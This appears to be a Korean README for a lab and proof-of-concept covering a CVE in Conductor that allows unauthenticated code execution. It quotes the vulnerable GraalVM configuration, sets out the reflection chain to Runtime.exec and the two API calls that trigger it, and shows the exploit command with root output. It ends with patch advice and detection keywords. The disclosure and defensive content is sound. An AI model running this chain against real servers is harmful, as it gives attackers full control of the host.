
CVE-2026-58138 — Conductor(3.21.21..<3.30.2) INLINE GraalVM 평가기(HostAccess.ALL)를 통한 인증되지 않은 RCE. Lab + PoC, e2e(루트) 검증 완료.
TL;DR: Orkes/OSS Conductor (버전
3.21.21~< 3.30.2)는INLINE작업에서 사용자 제공 JavaScript를 GraalVM 컨텍스트로 전체 호스트 액세스(HostAccess.ALL)를 허용하여 평가합니다. 커뮤니티 API는 기본적으로 인증이 없기 때문에 인증되지 않은 사용자가 악성 워크플로를 제출하고, 바인딩된 JavaScript 객체에서java.lang.Runtime으로 피벗하여 Conductor 프로세스 사용자(종종root)로 **인증되지 않은 원격 코드 실행(RCE)**을 달성할 수 있습니다.
버전 참고: 버전
~3.29.x까지는 일반allowHostAccess(HostAccess.ALL)구성을 사용하며, 이 PoC가 직접 익스플로잇합니다. 버전3.30.0및3.30.1에서는 부분적인 차단 목록(일부 리플렉션 차단)이 도입되었지만, 완전한 수정(allowHostClassLoading(false)+ 엔진 강화)은3.30.2에서만 구현되었습니다. 이 PoC는 샌드박스가 없는 구성을 대상으로 합니다.
이 취약점은 Conductor가 스크립트 평가를 위해 GraalVM 폴리글롯 컨텍스트를 구성하는 방식에 존재합니다.
core/.../events/ScriptEvaluator.java (≤ 3.29.x)에서 컨텍스트는 다음과 같이 생성됩니다:
return Context.newBuilder("js")
.allowHostAccess(HostAccess.ALL) // 위험: 전체 호스트 상호운용, 샌드박스 없음
.build();
이것이 게임 오버인 이유:
HostAccess.ALL은 JavaScript 엔진이 Java 호스트 객체의 모든 메서드를 호출하거나 모든 필드에 접근할 수 있는 권한을 부여합니다.INLINE 작업은 입력 매개변수를 JavaScript 변수 $에 바인딩하며, 이는 실제 Java 객체입니다.$에서 시작하여 Java 리플렉션을 연결할 수 있습니다: $.getClass().getClass() ➔ java.lang.Class ➔ Class.forName("java.lang.Runtime") ➔ Runtime.getRuntime().exec("sh -c <command>").Context.newBuilder("python").allowAllAccess(true))에도 존재합니다.공격은 인증이 전혀 필요하지 않으며 세 가지 간단한 단계를 따릅니다:
POST 요청을 /api/metadata/workflow로 보냅니다. INLINE 작업은 expression 필드에 리플렉션 JavaScript 페이로드를 포함합니다.POST 요청을 /api/workflow/{workflow_name}으로 보내 워크플로를 트리거합니다.Runtime.exec가 OS 명령을 실행하고, PoC는 stdout을 교묘하게 포착하여 작업의 result 출력으로 반환하며, 이는 API를 통해 가져옵니다.Docker를 사용하여 취약한 Conductor 버전의 로컬 인스턴스를 시작합니다.
# 저장소를 클론하고 실습 환경 시작
docker compose -f docker/docker-lab.yml up -d
# 올인원 서버가 완전히 부팅될 때까지 약 60초 대기
제공된 Python 익스플로잇 스크립트를 실행합니다. Python 표준 라이브러리만 사용합니다 (외부 종속성 불필요).
python3 exploit.py http://127.0.0.1:8080 -c "id; hostname; whoami"
[*] Target: http://127.0.0.1:8080
[*] Command: 'id; hostname; whoami'
[*] Registering workflow with a malicious INLINE (javascript) task ... (no auth)
[*] Starting workflow execution ... (no auth)
[*] Started workflow id=pwn_1705432100; reading INLINE task output ...
[+] UNAUTHENTICATED RCE CONFIRMED - command output from the Conductor host:
uid=0(root) gid=0(root) groups=0(root)
vbox
Linux 6.18.12+deb13-amd64
참고: uid=0(root) 출력은 조작된 응답이 아닌 호스트에서 실제 실행되었음을 증명합니다.
성공적인 익스플로잇은 공격자에게 Conductor 오케스트레이터 호스트에서 임의의 OS 명령 실행을 허용합니다.
Conductor는 종종 인프라를 관리하기 위해 상승된 권한으로 배포되므로, 일반적으로 다음이 발생합니다:
≥ 3.30.2 로 업데이트하십시오. 이 버전에서는 JS 및 Python 평가기가 더 이상 호스트 액세스 또는 클래스 로딩을 활성화한 상태로 실행되지 않습니다.환경에서 다음과 같은 침해 지표(IoC)를 모니터링하십시오:
expression 문자열이 포함된 INLINE, LAMBDA, DO_WHILE 또는 SWITCH 작업을 플래그하십시오:
getClass, forName, Runtime, exec, ProcessBuilderjava.lang.reflect 또는 일반 java. 패키지 액세스sh, bash, cmd.exe)를 생성하거나 아웃바운드 네트워크 연결을 수행하는지 모니터링하십시오.리플렉션 체인, 버전별 평가기 구성 및 패치 분석에 대한 자세한 내용은 ANALYSIS.md를 참조하십시오.
면책: 이 저장소는 방어적, 교육적 및 승인된 보안 테스트 목적으로만 사용하기 위한 독립적이고 재현 가능한 실습 환경 및 개념 증명(PoC)을 포함합니다. 소유하지 않거나 명시적인 서면 허가 없이 시스템에 대해 이 코드를 사용하지 마십시오. 저자는 오용에 대해 책임을 지지 않습니다.
| 속성 | 세부 정보 |
|---|
| CVE 식별자 | CVE-2026-58138 |
| 영향받는 소프트웨어 | Conductor 3.21.21 ~ 3.30.1 |
| 수정 버전 | 3.30.2 (커밋: 87a7d96, c691e35) |
| 취약점 클래스 | CWE-94: 코드 삽입 (GraalVM 폴리글롯 샌드박스 우회) |
| CVSS v3.1 점수 | 9.8 (치명적) AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 인증 | 없음 (커뮤니티 API는 기본적으로 인증되지 않음) |
| 검증 | conductoross/conductor:3.22.3에서 root로 확인됨 |